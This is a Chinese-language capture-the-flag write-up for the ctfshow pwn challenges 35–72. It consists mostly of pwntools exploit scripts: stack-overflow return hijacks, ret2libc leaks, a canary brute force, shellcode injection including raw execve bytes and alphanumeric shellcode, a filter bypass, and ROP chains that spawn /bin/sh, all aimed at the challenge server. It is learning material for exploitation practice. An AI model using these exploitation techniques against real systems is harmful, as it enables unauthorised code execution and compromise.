✅pwn35

strcpy函数没有长度限制,只需要输入大于104字节就可以产生栈溢出

✅pwn36

前面写了一堆废话,后面调用了ctfshow函数就看ctfshow

gets函数存在栈溢出

栈溢出返回get_flag的地址

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug') #加不加都行
p= remote("pwn.challenge.ctf.show",28299)

get_flag = 0x08048586

payload = cyclic(0x28 + 0x4) + p32(get_flag)

p.sendline(payload)
p.interactive()

✅pwn37

存在栈溢出

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28277)

get_flag = 0x08048521
payload = cyclic(0x12 + 0x4) + p32(get_flag)

p.sendline(payload)
p.interactive()

✅pwn38

64位麻烦点,因为要保持堆栈平衡

查看ret地址(ROPgadget工具)

构造payload: 垃圾数据 + return地址 + 后门函数

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28274)

get_flag = 0x400657
ret = 0x0000000000400287
payload = cyclic(0xA + 0x8) + p64(ret) + p64(get_flag)

p.sendline(payload)
p.interactive()

✅pwn39

存在栈溢出

system和binsh被分开

构造payload

from pwn import *
p= remote("pwn.challenge.ctf.show",28304)

binsh = 0x8048750
system = 0x80483A0
payload = cyclic(0x12 + 0x4) + p32(system) + cyclic(4) + p32(binsh)

p.sendline(payload)
p.interactive()

✅pwn40

64位

payload构造: 偏移量+(rdi地址+函数的参数)+ 对齐 + system

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28172)

binsh = 0x0000000000400808
system = 0x400520
rdi = 0x00000000004007e3
ret = 0x00000000004004fe

payload = cyclic(0xA + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)

p.sendline(payload)
p.interactive()

✅pwn41

sh一样作为system参数使用

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28248)

binsh = 0x080487BA
system = 0x80483D0

payload = cyclic(0x12 + 0x4) + p32(system) + cyclic(4) + p32(binsh)

p.sendline(payload)
p.interactive()

✅pwn42

64位,把sh当作参数传进去就行

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28164)

binsh = 0x0000000000400872
system = 0x400560
rdi = 0x0000000000400843
ret = 0x000000000040053e

#payload = cyclic(0x12 + 0x4) + p32(system) + cyclic(4) + p32(binsh)
payload = cyclic(0xA + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)

p.sendline(payload)
p.interactive()

✅pwn43

有system,没有/bin/sh,需要手动写入binsh

0x804b000---0x804c000有写入权限,所以把"/bin/sh"写入到这里

写入binsh的时候为了避免覆盖有用的数据,所以选择写入到最后的16字节,即0x804c000-16

payload构造,栈溢出 -> gets函数执行,参数为可写入的内存地址,此时程序会停止等待输入,这个时候又send了一个"/bin/sh"进去,0x804c000-16里面就包含这个字符串了 -> gets执行完之后,返回地址是system的入口地址,继续执行system -> system的参数是binsh,此时的binsh里面是字符串"/bin/sh" -> 完事

from pwn import *

p = remote("pwn.challenge.ctf.show",28286)

system = 0x8048450
gets = 0x8048420
binsh = 0x804c000-16

payload = cyclic(0x6C + 0x4) + p32(gets) + p32(system) + p32(binsh) + p32(binsh)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

✅pwn44

同样可以写入数据,不过传参要变成64位的方式

64位函数的返回地址就在函数的后面,所以直接按顺序把rdi啥的塞进去就行

from pwn import *

p = remote("pwn.challenge.ctf.show",28164)

system = 0x400520
gets = 0x400530
binsh = 0x603000-16

rdi = 0x00000000004007f3
ret = 0x00000000004004fe

payload = cyclic(0xA + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(gets) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

✅pwn45

没有system没有/bin/sh的时候就要puts泄露libc

得到puts的实际地址只需要两样东西:puts_plt和puts_got

当puts被调用时,puts_plt会把puts函数的地址储存在puts_got中,所以直接把puts_got作为puts_plt的参数使用,puts函数就会把自己的函数地址打印出来

返回地址设置成main,得到puts的实际地址之后,重新开始真正的操作

puts = u32(p.recvuntil("\xf7")[-4:])

假设内存中存在以下连续字节(16进制表示):

... 00 00 00 00 | a1 b2 c3 f7 | d4 e5 f6 00 | ...
                ↑           ↑
                |           |
             起始位置    遇到\xf7的位置

关键点解释

1.      终止符 \xf7 的作用

o   recvuntil('\xf7') 会持续接收数据,直到遇到字节 0xf7 停止。

o   在示例中,程序会读取到 a1 b2 c3 f7 时停止(0xf7 是最后一个字节)。

2.      截取最后4字节

o   [-4:] 表示取最后4个字节:a1 b2 c3 f7。

o   为什么是这4字节?在32位系统中,libc地址通常以 0xf7 开头(如 0xf7c3b2a1),而内存中地址按 小端序 存储,因此高位字节 0xf7 在内存中的位置靠后。

3.      转换前的原始数据

o   内存中的4字节顺序:a1 b2 c3 f7(小端存储)。

4.      u32() 转换过程

o   u32() 将字节序列按小端序解析为32位整数:

低地址 -> 高地址
a1 b2 c3 f7 → 解析为 0xf7c3b2a1

o   转换后的结果:0xf7c3b2a1(即 puts 函数的实际地址)。

libc = LibcSearcher("puts",puts)

这句话是在查找libc的版本,确保后续的操作

libc_base = puts - libc.dump("puts")

得到libc的版本之后,就可以在libc数据库中查找puts函数的偏移地址,我们的目的是寻找libc的基址,所以使用前面得到的puts函数的真实地址 减去 puts函数的偏移地址 就是libc基址

system = libc_base + libc.dump("system")

binsh = libc_base + libc.dump("str_bin_sh")

基址得到了,计算出system和binsh的实际地址也只需要加上他们的偏移地址即可

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28151)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

payload = cyclic(0x6B + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)

libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(4) + p32(binsh)

p.sendline(payload)
p.interactive()

✅pwn46

变成64位libc,变化就是传参和截取数据的不一样

payload = cyclic(0x70 + 0x8) + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)

第一个payload这里我塞了两个ret,是因为我塞了一个ret发现程序崩溃了,可能没对齐,所以多塞了一个,如果再崩溃就再塞多几个

puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))

这里截取的数据是"\x7f"与32位的"\xf7"刚好反过来

64位需要截取往前6个字节的数据,数据后方需要补零.ljust(8, b"\x00"))补零之后才能被u64进行小端序转换

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28249)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

rdi = 0x0000000000400803
ret = 0x00000000004004fe

payload = cyclic(0x70 + 0x8) + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("puts",puts)

libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

payload = cyclic(0x70 + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)

p.sendline(payload)
p.interactive()

✅pwn47

32位libc,puts函数泄露

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28173)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

payload = cyclic(0x9C + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])

libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")

payload = cyclic(0x9C + 0x4) + p32(system) + cyclic(4) + p32(0x0804B028)
p.sendline(payload)
p.interactive()

✅pwn48

和上一题一样的

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28306)
elf = ELF('./pwn')

main = elf.symbols['main']

payload = cyclic(0x6B + 0x4) + p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])
p.sendline(payload)
puts = u32(p.recvuntil('\xf7')[-4:])

libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")

system = libc_base + libc.dump("system")

binsh = libc_base + libc.dump("str_bin_sh")
    
payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(0x4) + p32(binsh)
p.sendline(payload)
p.interactive()

❌pwn49

❌pwn50

✅pwn51

栈溢出在这里

先nc试一下,就能发现如果一旦输入“I”就会输出IronMan,刚好偏移量是0x6C + 0x4就是112,“IronMan”有7个字符,所以给16个“I”进去就行

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28202)
elf = ELF("./pwn")

sys = 0x804902E
payload = 16*b"I"  + p32(sys)

p.sendline(payload)
p.interactive()

✅pwn52

关键在这里

不管怎么样先把偏移量写了0x6C + 0x4,然后把这个函数的地址塞进去,再加个偏移量来到a1的位置,然后塞876和877

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28242)
elf = ELF("./pwn")

flag = 0x8048586
payload = cyclic(0x6C + 0x4) + p32(flag) + p32(0x54) + p32(876)+ p32(877)

p.sendline(payload)
p.interactive()

⚠️pwn53

程序会读取s1的内容与全局变量global_canary的值进行对比,如果不相等就代表栈被破坏,直接gg,所以需要爆破这四个字节,爆出来之后,再通过read函数的漏洞栈溢出返回flag函数地址

爆4个字符,一个字节占 8 位最大为 0xff,十进制就是255,所以遍历0-255也就是range(256)

canary = b''

for i in range(4):

for guess in range(256):

发送200是为了让nbytes足够大,确保read操作溢出buf数组,覆盖栈上的Canary值(s1

  • buf数组位于ebp-0x30,大小为32字节。

  • Canary变量s1位于ebp-0x10,紧邻buf的末尾。

  • bufs1的偏移为 32字节0x30 - 0x10 = 0x20)。填满buf需要32字节,之后的数据会覆盖s1

p8(guess)是为了把爆破的数字转成小端序(1字节,8bit)

p = remote("pwn.challenge.ctf.show",28225)

p.sendlineafter('>','200')

payload = cyclic(0x30 - 0x10) + canary + p8(guess)

p.sendafter('$ ',payload)

接收回显,没收到报错就把值保存到canary,结束循环爆下一个字节,报错了就下一位

answer = str(p.recv())

if "Canary Value Incorrect!" not in answer:

canary += p8(guess)

break

else:

p.close()

若输入负数(如 -1),nbytes 会变为 0xFFFFFFFF(32位无符号整数最大值),允许写入超长数据

payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)

p.sendlineafter('>','-1')

p.sendafter('$ ',payload)

from pwn import *
p = remote("pwn.challenge.ctf.show",28225)

canary = b''
for i in range(4):
    for guess in range(256):
        p = remote("pwn.challenge.ctf.show",28225)
        p.sendlineafter('>','200')
        payload = cyclic(0x30 - 0x10) + canary + p8(guess)
        p.sendafter('$ ',payload)
        answer = str(p.recv())
        if "Canary Value Incorrect!" not in answer:
            canary += p8(guess)
            break
        else:
            p.close()
p = remote('pwn.challenge.ctf.show',28225)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)
p.sendlineafter('>','-1')
p.sendafter('$ ',payload)
p.interactive()

✅pwn54

先偏移到v5的位置,然后一直往里面塞垃圾,一直塞到s的位置,把换行和空白全部变成我们的垃圾,puts函数就会一直输出直到遇到换行符或者空白,所以只要password前面全部都塞满了垃圾,puts函数就能把password输出出来

from pwn import *
p = remote("pwn.challenge.ctf.show",28174)

payload  = cyclic(0x160 + 0x4) + 256*b"a"

p.sendline(payload)
p.interactive()


✅pwn55

看代码丢参数就行,-1397969748是flag_fun2的参数,-1111638595是flag的参数,建议用flat来转换小端序,不然这个-1397969748要转换位无符号整数

from pwn import *
p = remote("pwn.challenge.ctf.show",28174)
flag1 = 0x8048586
flag2 = 0x804859D
flag = 0x8048606

payload = flat([cyclic(0x2C + 0x4),flag1,flag2,flag,-1397969748,-1111638595])
p.sendline(payload)
p.interactive()

✅pwn56

from pwn import *
p = remote("pwn.challenge.ctf.show",28154)
p.interactive()

✅pwn57

from pwn import *
p = remote("pwn.challenge.ctf.show",28204)
p.interactive()

✅pwn58

直接发送shellcode

from pwn import *
context.arch = "i386"
p = remote("pwn.challenge.ctf.show",28139)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

✅pwn59

from pwn import *
context.arch = "amd64"
p = remote("pwn.challenge.ctf.show",28306)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

✅pwn60

from pwn import *
context.arch = "i386"
p = remote("pwn.challenge.ctf.show",28295)
buf_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112, b"a") + p32(buf_addr)
p.sendline(payload)
p.interactive()

使用gdb调试,0x8048000到0x8049000这一段有执行权限

buf2要放在返回地址的位置

Q:细说112是干嘛的?

112是偏移量,但是要用ljust补齐,因为shellcode的长度不知道是多少,所以我们偏移量总共是112,shellcode占据一部分,剩下的用a补全,返回地址是buf2。

buf2实际的偏移量不知道,但是可以用gdb,输入一堆没用的字符,看看程序在哪里会崩溃

gdb-pwndbg> cyclic 200
gdb-pwndbg> r < <(echo 'aaaabaaacaaadaaae...')
gdb-pwndbg> cyclic -l 0x6161616e

Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112


⚠️pwn61

printf会把v5地址打印出来,就顺手获取一下,v5偏移量是24,正常情况是这样给shellcode

flat([shell_code.ljust(24,b'a'),v5_addr]),但是这里出不来

payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode]) 这一步属实没看懂

我的理解:先给偏移量来到v5,返回v5地址让shellcode写入,但是汇编代码有一个leave不能直接写在v5,要写在v5长度再往后8位之后的位置,v5长度:16 + 8(保存的rbp)+ 8(返回地址),再给shellcode

from pwn import *
from LibcSearcher import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28166)
shellcode = asm(shellcraft.sh())
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
padding = 0x10+8
print(padding)
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode])
p.sendline(payload)
p.interactive()

⚠️pwn62

把shellcode变短一点

from pwn import *
from LibcSearcher import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28177)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
padding = 0x10+8
print(padding)
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode])
p.sendline(payload)
p.interactive()

⚠️pwn63

一样

from pwn import *
from LibcSearcher import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28189)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
padding = 0x10+8
print(padding)
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode])
p.sendline(payload)
p.interactive()

✅pwn64

from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28196)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

✅pwn65

这里的shellcode就要全是可打印字符的,用到alpha3工具

git clone https://github.com/TaQini/alpha3.git

首先利用pwntools生成一个shellcode

from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
	f.write(sc)

使用alpha3生成string.printable (这里得用 python2)

python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

因为 call rax ,所以 base 是 rax,得到

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

最终要用send不能sendline,因为sendline有换行

from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28196)
shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()

✅pwn66

这里有个该死的检查,只能用unk_400F20里面的字符

但是这里面的字符组不成/bin/sh,毛用都没有

但是注意到这里read函数使用的是read(fd, buf, size) 方式,它会完整读取 0x200 字节,然而while函数遇到\x00就停止检查了,所以可以使用\x00B\x00绕过这个检查

from pwn import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28302)
shellcode = asm(shellcraft.sh())
payload = b'\x00B\x00' + shellcode
p.sendline(payload)
p.interactive()

❌pwn67

❌pwn68

❌pwn69

✅pwn70

似曾相识,if ( a1[i] <= 31 || a1[i] == 127 )检测shellcode是否为可打印字符

shellcode要变成shellcraft.cat("/flag")

from pwn import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28256)
shellcode = asm(shellcraft.cat("/flag"))
payload = b'\x00B\x00' + shellcode
p.sendline(payload)
p.interactive()

✅pwn71

难死我了,开启NX保护且静态编译,就代表着不能直接写入shellcode,也不能直接看到函数的地址,因为程序直接调用的是系统的函数

这题就要东拼西凑把execve("/bin/sh", NULL, NULL)组合起来

用ROPgadget工具获取两样东西eax和ebx(简写)

ROPgadget --binary ./pwn --only "pop|ret"|grep eax
ROPgadget --binary ./pwn --only "pop|ret"|grep ebx

ebx是用来传参的,类似64位的rdi,拿到之后把参数框框丢进去,null可以简写成0,所以是0,0,/bin/sh

虽然程序不包含execve等函数,但是一定有/bin/sh在里面,strings ./pwn | grep "/bin/sh"就知道了

ROPgadget --binary ./pwn --string "/bin/sh"

然后把第二样东西丢进去(eax)

eax指明了要调用的函数,execve在系统中的代码是0xb,所以把这两个也放进去

这样一来就凑齐execve("/bin/sh", NULL, NULL)了

最后再加上一个int 0x80

这玩意相当于发射火箭的按钮,把他放在最后,就可以把前面写的所有东西打包全部送走,这样函数就可以执行成功了

from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28152)
eax = 0x080bb196
ebx = 0x0806eb90
binsh = 0x080be408
int = 0x08049421
payload = flat([cyclic(112),ebx,0,0,binsh,eax,0xb,int])
p.sendline(payload)
p.interactive()

⚠️pwn72

可写区域

一样是找eax和ebx这俩哥们,但是这题没有字符串/bin/sh在里面,要我们自己手动写进去,bss = 0x080EAF80是可写的,然后用read读进去,read函数的系统调用是0x3,payload相当于read(0, bss_addr, 16)写入之后就给execve执行execve("/bin/sh", NULL, NULL);但是不知道为什么int是0x0806F350

from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28177)
padding = 44
eax = 0x080bb2c6
ebx = 0x0806ecb0
binsh = b"/bin/sh\x00"
int = 0x0806F350
bss = 0x080EAF80
payload = flat([cyclic(44),ebx,8,bss,0,eax,0x3,int,ebx,0,0,bss,eax,0xb,int])
p.sendline(payload)
p.sendline(binsh)
p.interactive()

小技巧

怎么找偏移量?

直接找到有栈溢出的地方,双击点进去

偏移量为0xA + 0x8

也可以

gdb-pwndbg> cyclic 200
gdb-pwndbg> r < <(echo 'aaaabaaacaaadaaae...')
gdb-pwndbg> cyclic -l 0x6161616e

Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

偏移量为112(字节)

函数的地址?

或者

0x400657就是地址

找到可以写入的地址块

首先确保PIE是disable

使用gdb随便断个点然后运行

vmmap指令

最喜欢神里绫华啦!